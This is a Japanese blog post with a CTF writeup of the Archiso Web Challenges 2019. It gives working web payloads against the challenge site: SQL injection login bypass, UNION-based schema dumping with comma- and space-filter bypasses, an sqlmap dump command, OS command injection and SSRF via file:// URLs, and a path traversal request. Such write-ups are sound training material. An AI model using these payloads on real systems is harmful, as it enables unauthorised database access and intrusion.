Marsの5εcur1ty備忘録

不定期的にCTF、脆弱性検証、バグバウンティレポート分析など、情報セキュリティを中心とした技術ブログを更新します。

Archiso Web Challenges 2019 Writeup

こんにちは、Marsです。
f:id:z773733850:20191228220610p:plain
今回は、Archiso Web Challenges 2019に参加してきました。

#AWebC19 hashtag on Twitter

問題は12問あります。
今回は、8時間38分ほどかけてやっと全問解けましたが、ちょっと遅かったです。
今後解くスピードを上げるために、Writeupを書いておきます。

問題の全体はこんな感じです。
f:id:z773733850:20191228220850p:plain

[100点問題はパスします]

Out of Display [100pt] (パス)

Whited Out [100pt] (パス)

Rel [100pt] (パス)

Agent [200pt]

  • Keyword:
    User Agent
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
  • Flag:
    WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}

    Ref [200pt]

  • Keyword:
    Referer
Referer: https://www.google.com/
  • Flag:
    WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}

    Oluri Key [300pt]

  • Keyword:
    SQL Injection
User ID: ' OR '1'='1'; --  
  • Flag:
    WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}

    Fruits List [300pt]

    Keyword: OS Command Injection

  • Source Code:
    f:id:z773733850:20191228222440p:plain
  • Payload:
view-source:https://awebc19.archiso.dev/problems/fruits_list/index.php?season=;ls%20-la%20/

f:id:z773733850:20191228223154p:plain
- Flag:
WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}

Dolls Data 1 [400pt]

  • Keyword:
    SQL Injection

    Method 1:

  • Payload:
sqlmap -u "https://awebc19.archiso.dev/problems/dolls_data_1/query.php" --data "value=1&option=id" --cookie="session=5d22cab7-413c-48e0-a858-e34eee4abd6a;__cfduid=d4712e5e18be0cbf6c2521da1b2e0b8521577179386" -p value --dump --identify-waf -v 3

f:id:z773733850:20191228223459p:plain

Method 2:

  • Find database:
1' UNION ALL SELECT schema_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata; --

Result:
f:id:z773733850:20191228223922p:plain
- Find tables:

1' UNION ALL SELECT table_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables; --

Result:
dolls_data_1_flag_b3f4befc
f:id:z773733850:20191228224110p:plain
- Find columns:

1' UNION ALL SELECT column_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns; --

Result:
kar98k
一番したにスクロールして、
f:id:z773733850:20191228224356p:plain
- Get flag:

1' UNION ALL SELECT kar98k,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM dolls_data_1_flag_b3f4befc; --

Result:
f:id:z773733850:20191228224541p:plain
Flag: WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}

Single Page HTML Viewer 2 [419pt]

  • Keyword:
    Server Side Request Forgery
    問題文が重要:
    f:id:z773733850:20191228231009p:plain
  • Try:
    まず、FiddlerでNull Byteを注入してみる
    f:id:z773733850:20191228234233p:plain
    (Cookie丸出しですが無視してください^ ^)
    エラーが出たので、使用された関数とquery.phpのpathが分かった(みんな分かると思いますのでサイト側のmain.jsコードの説明を省略)
    ローカルパスfile://で読み込みます。
  • Payload:
file:///flag
  • Result:
    f:id:z773733850:20191228234650p:plain
    (Cookie丸出しですが無視してください^ ^)
  • Flag:
    WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}

Go Mikuji [500pt]

  • Keyword:
    Path Traversal
    ファイルが与えられます。
    f:id:z773733850:20191228233359p:plain
  • Introduction:
    ファイル構造:
    f:id:z773733850:20191228232015p:plain
    flag.txtはpublicディレクトリの親ディレクトリに入っています。
    f:id:z773733850:20191228232116p:plain
    Golangの関数を一つ一つ調べました。
    ざっと説明すると、パス:”カレントディレクトリのPath+public+URL断片"のファイルのテキストを表示するコードです。
    コード1~2行目:URL断片は、まずhttp requestのオブジェクト?(多分)、を変数rに格納し、rからURLを取得し、そのURLの一番後ろにあるスラッシュ/の次の文字から末尾文字までの文字列となっています。
    コード3行目:バックスラッシュがあったらそれをスラッシュに書き換える。
    Path Traversalを起こすには、ちょっと工夫すれば大丈夫です。
    https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt にアクセス
    ↓(コード1行目と2行目の処理)
    ..\\flag.txt (URL断片)

    path:カレントディレクトリのPath/public/..\\flag.txt
    ↓(コード3行目の処理)
    path:カレントディレクトリのPath/public/../flag.txt
    ↓(コード4行目の処理)
    os.Open(path)
  • Payload:
curl -v https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt

Flag: WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}

Dolls Data 2 [400pt]

手動注入でかなりはまりました。原因は11列のデータも取得しようとしてることを思いつかなかったことです。
8列までNULLを試したがずっと失敗してて、エラーの理由が分かりませんでした。
反省点:何かのフィルタリングでsqlmapが失敗する場合は、bashとかでも書いて列数を増やしながらcurlで確認して手動注入します。
- Keyword:
SQL Injection
SQL Injection: カンマがフィルタされた
解決方法:
github.com
( Ctrl+F: No Comma - bypass using OFFSET, FROM and JOIN )

SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d  
  • Find database:
1' UNION ALL SELECT * FROM (SELECT schema_name FROM information_schema.schemata)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Result:
    spas
  • Find table:
1' UNION ALL SELECT * FROM (SELECT table_name FROM information_schema.tables)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Result:
    dolls_data_2_flag_dfe61e6c
  • Find columns:
1' UNION ALL SELECT * FROM (SELECT column_name FROM information_schema.columns)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Result:
    hkm4
  • Get flag:
1' UNION ALL SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
  • Flag:
    WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}

    Dolls Data 3 [400pt]

  • Keyword:
    SQL Injection
    SQL Injection: 空白もカンマもフィルタされた
    解決方法:
    空白→/**/ ( コメントの記述 )
  • Find database:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/schema_name/**/FROM/**/information_schema.schemata)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Result:
    spitfire
  • Find table:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Result:
    dolls_data_3_flag_979c7e90
  • Find columns:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/column_name/**/FROM/**/information_schema.columns)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Result:
    m4a1
  • Get flag:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
  • Flag:
    WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}

SQL Injection: 早見表
marsblog.hatenablog.jp

全体としては初心者向けな感じがしますが、とても良い問題だと思います。

Copyright Mars 2019